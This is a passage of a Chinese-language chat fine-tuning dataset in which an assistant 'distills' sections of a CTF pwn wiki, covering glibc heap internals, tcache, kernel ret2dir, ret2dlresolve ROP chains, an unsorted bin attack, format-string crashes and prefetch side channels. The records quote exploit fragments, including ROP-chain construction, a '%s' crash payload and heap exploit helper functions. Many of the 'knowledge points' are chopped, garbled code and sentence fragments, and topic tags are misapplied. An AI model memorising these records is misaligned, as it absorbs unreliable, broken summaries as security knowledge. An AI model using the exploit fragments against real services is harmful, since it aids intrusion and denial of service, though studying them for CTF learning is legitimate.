行，首行 `static void *_int_malloc(mstate av, size_t bytes) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1358, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "_int_malloc", "heading_path": ["申请内存块", "_int_malloc"], "original_id": "docs-3dbd0c5ceebb4a851ca4", "original_line": 1141, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "fa4e1fccf5674683f26e0066", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5ea0619583badf83f8c6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「small bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > small bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“small bin”展开。\n- Since these \"smallbins\" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit.\n- = &main_arena) set_non_main_arena(victim);\n- // 如果不是 main_arena，设置对应的标志 if (av !\n- 如果获取的内存块的范围处于 small bin 的范围，那么执行如下流程 ``c++ / If a small request, check regular bin.\n- But for small ones, fits are exact anyway, so we can check now, which is faster.) / if (in_smallbin_range(nb)) { // 获取 small bin 的索引 idx = smallbin_index(nb);\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 46 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1461, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "small bin", "heading_path": ["申请内存块", "_int_malloc", "small bin"], "original_id": "docs-5beb8ac7e7df96226bc1", "original_line": 1144, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "66fdd7d01f715143ad1f1a69", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5f893c7da71d2e7ef42e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「small request」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > unsorted bin 遍历 > small request\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“small request”展开。\n- 如果用户的请求为 small bin chunk，那么我们首先考虑 last remainder，如果 last remainder 是 unsorted bin 中的唯一一块的话， 并且 last remainder 的大小分割后还可以作为一个 chunk ，为什么没有等号？\n- ``c / If a small request, try to use last remainder if it is the only chunk in unsorted bin.\n- // 获取新的 remainder 的位置 remainder = chunk_at_offset(victim, nb);\n- // 更新 unsorted bin 的情况 unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;\n- // 更新last remainder的指针 remainder->bk = remainder->fd = unsorted_chunks(av);\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 40 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1557, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "small request", "heading_path": ["申请内存块", "_int_malloc", "大循环-遍历 unsorted bin", "unsorted bin 遍历", "small request"], "original_id": "docs-179d4a411213ea1233ad", "original_line": 1148, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "d2f9277d4d59d62e799877a0", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5fbed91d4c3932996210", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md`\n标题：ret2dir\n章节：ret2dir > 例题：MINI-LCTF2022 - kgadget > 漏洞利用\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞利用”展开。\n- 因为我们没法直接在内核空间直接找到一个这样的目标（内核空间中虽然存在能够这样进行调用的函数指针，例如 tty 设备默认的函数表ptm_unix98_ops 一类的，但是这些函数表对应的函数指针对我们来说没有用），所以我们需要手动去在内核空间布置我们的函数指针与 rop chain，之后我们传入我们布置的 gadget 的地址就能进行利用了。\n- 可能有的人就会想到 msg_msg 、sk_buff 等一系列常用来进行堆喷的结构体，但其实我们并不需要显式地在内核空间布置数据，而是可以通过一个位于内核空间中的地址直接访问到用户空间中的数据——那就是映射了整个物理内存的 direct mapping area。\n- 答案是不需要搜索，这里我们使用原论文中的一种名为 physmap spray 的攻击手法——使用 mmap 喷射大量的物理内存写入同样的 payload，之后再随机挑选一个相对靠近高地址的 direct mapping area 上的地址进行利用，这样我们就有很大的概率命中到我们布置的 payload 上。\n- 最后就是 gadget 的挑选与 rop chain 的构造了，我们不难想到的是可以通过形如 add rsp, val ;\n- ` 但其实仅有两个寄存器也够用了，我们可以利用 pop_rsp ;\n\n关键术语：\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 5 行，首行 `qmemcpy(`\n- plain: 15 行，首行 `------------------------`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1908, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "漏洞利用", "heading_path": ["ret2dir", "例题：MINI-LCTF2022 - kgadget", "漏洞利用"], "original_id": "docs-2587f0b7f7904e3ee4cf", "original_line": 805, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2dir.md", "source_root": "docs", "source_sha256": "03a9f28cf23312e37760324d080b1a938051541da85bfe9f74fc68c15831dd70", "split": "train", "split_group_key": "d5094030b16f24376793685b", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "ret2dir"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2dir.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6089bb70959c67bf8e67", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/readme.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/readme.md`\n标题：Introduction\n章节：Introduction > 参考\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- - https://linuxplumbersconf.org/event/7/contributions/775/attachments/610/1096/Following_the_Linux_Kernel_Defence_Map.pdf - https://github.com/a13xp0p0v/linux-kernel-defence-map - https://outflux.net/slides/2018/lca/kspp.pdf - https://www.kernel.org/doc/htm...\n- - https://powerofcommunity.net/poc2019/x82.pdf - https://samsung.github.io/kspp-study/infoleak.html\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- defense\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 396, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "参考", "heading_path": ["Introduction", "参考"], "original_id": "docs-0f501215cf0e6743dcb3", "original_line": 669, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/readme.md", "source_root": "docs", "source_sha256": "8aedb5bf3690ed94f1fb418aa7fdf9898ddce18c01a09e4c95b4c7b4c56fb1b1", "split": "train", "split_group_key": "59b73311a91dbe65b74e87c6", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "defense"], "title": "Introduction"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-612eeba9ebea559eba8e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x05 The pwn of CTF > Challenge 1 : LCTF2018 PWN easy_heap > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- 远程环境中的 libc 是 libc-2.27.so ，所以堆块申请释放过程中需要考虑 Tcache 。\n- ``shell zj@zj-virtual-machine:~/c_study/lctf2018/easy$ checksec ./easy_heap [*] '/home/zj/c_study/lctf2018/easy/easy_heap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 7 行，首行 `zj@zj-virtual-machine:~/c_study/lctf2018/easy$ checksec ./easy_heap`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 278, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x05 The pwn of CTF", "Challenge 1 : LCTF2018 PWN easy_heap", "基本信息"], "original_id": "docs-303426c2a254ad3293d4", "original_line": 56, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "1a0c397f7642439a6d5afc55", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-615f574e0e57b571a07f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「make fake write relocation at base_stage+24」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：make fake write relocation at base_stage+24\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“make fake write relocation at base_stage+24”展开。\n- index_offset = base_stage + 24 - rel_plt write_got = elf.got['write'] r_info = (index_dynsym << 8) | 0x7 # calculate the r_info according to the index of write fake_write_reloc = flat([write_got, r_info]) gnu_version_addr = elf.get_section_by_name('.gnu.ver...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 340, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "make fake write relocation at base_stage+24", "heading_path": ["make fake write relocation at base_stage+24"], "original_id": "docs-c077537c23946026a0bc", "original_line": 1325, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "e91ed97321b85a51ce925fed", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-622c7234f095cee20b1b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「tcache_perthread_struct」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`\n标题：tcache\n章节：tcache > 相关结构体 > tcache_perthread_struct\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- source code ```C / There is one of these for each thread, which contains the per-thread cache (hence \"tcache_perthread_struct\").\n- Keeping overall size low is mildly important.\n- Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. / typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS];\n- tcache_entry *entries[TCACHE_MAX_BINS];\n- } tcache_perthread_struct;\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 541, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "tcache_perthread_struct", "heading_path": ["tcache", "相关结构体", "tcache_perthread_struct"], "original_id": "docs-2d48ff28eb342ee4943a", "original_line": 1181, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "source_root": "docs", "source_sha256": "4de68a9fa4b9401f8336e24b35eadac2ba7ac5f85ff862f309421b9ce8c82db8", "split": "train", "split_group_key": "b84127cd27e25a21626d0b9d", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "tcache"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-627b8ddda029058f96aa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「程序崩溃」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 程序崩溃\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 通常来说，利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式，因为我们只需要输入若干个%s即可 ``text %s%s%s%s%s%s%s%s%s%s%s%s%s%s `` 这是因为栈上不可能每个值都对应了合法的地址，所以总是会有某个地址可以使得程序崩溃。\n- 比如说，如果远程服务有一个格式化字符串漏洞，那么我们就可以攻击其可用性，使服务崩溃，进而使得用户不能够访问。\n- 这一利用，虽然攻击者本身似乎并不能控制程序，但是这样却可以造成程序不可用。\n\n关键术语：\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:text\n\n代码/命令片段线索：\n- text: 1 行，首行 `%s%s%s%s%s%s%s%s%s%s%s%s%s%s`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 224, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "程序崩溃", "heading_path": ["利用", "程序崩溃"], "original_id": "docs-6753bbddf22d5db14858", "original_line": 885, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "d1ba000099313251e901d748", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:text"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-628c156686fdebe56f8d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct rop chain」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct rop chain\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“construct rop chain”展开。\n- rop.raw(plt0) rop.raw(index_offset) rop.raw('bbbb') # fake ret addr of write rop.raw(1) rop.raw(base_stage + 80) rop.raw(len(sh)) rop.raw(fake_write_reloc) # fake write reloc rop.raw('a' align) # padding rop.raw(fake_write_sym) # fake write symbol rop.raw('...\n- r.sendline(rop.chain()) r.interactive() ```\n- ``shell ❯ python stage4.py [] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Sta...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `最终如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 878, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "construct rop chain", "heading_path": ["construct rop chain"], "original_id": "docs-bd2273c8951e2b45384f", "original_line": 1326, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "1c364db1b50286d939c9e4a5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-628ec81aee4ec4cebd6c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：-- coding: utf-8 --\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“-- coding: utf-8 --”展开。\n- def create_heap(size, content): r.recvuntil(\":\") r.sendline(\"1\") r.recvuntil(\":\") r.sendline(str(size)) r.recvuntil(\":\") r.sendline(content)\n- def edit_heap(idx, size, content): r.recvuntil(\":\") r.sendline(\"2\") r.recvuntil(\":\") r.sendline(str(idx)) r.recvuntil(\":\") r.sendline(str(size)) r.recvuntil(\":\") r.sendline(content)\n- def del_heap(idx): r.recvuntil(\":\") r.sendline(\"3\") r.recvuntil(\":\") r.sendline(str(idx))\n- create_heap(0x20, \"dada\") # 0 create_heap(0x80, \"dada\") # 1\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 544, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "-- coding: utf-8 --", "heading_path": ["-- coding: utf-8 --"], "original_id": "docs-eac33099b9fa6d2cfde7", "original_line": 1107, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "a50f3709cd57092681d060f3", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-62a182b48a7ceb7826d0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/hardware/cpu/side-channel/prefetch.md` 中的章节「Address-Translation Attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/hardware/cpu/side-channel/prefetch.md`\n标题：prefetch side-channel attack\n章节：prefetch side-channel attack > Address-Translation Attack\n路径分类：pwn / pwn/hardware/cpu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Address-Translation Attack”展开。\n- 现代操作系统内核中通常都有着对物理内存空间的完整线性映射，因此攻击者可以使用 Address-translation oracle 爆破用户地址空间中地址 $p$ 对应的内核地址空间中该区域对应的地址 $\\overline{p}$ ，并利用 property 1 向前爆破以获取到内核地址空间中对物理地址空间的线性映射的虚拟地址空间的基址（以 Linux 为例，该区域起始地址为 page_offset_base）。\n- 由于在物理地址线性映射区起始地址前的虚拟地址并不存在到对应物理页面的映射，prefetch 指令的执行时间差异是可以被观察到的。\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- hardware\n- cpu\n- side-channel\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 276, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Address-Translation Attack", "heading_path": ["prefetch side-channel attack", "Address-Translation Attack"], "original_id": "docs-80cd66b667883371f553", "original_line": 635, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "source_root": "docs", "source_sha256": 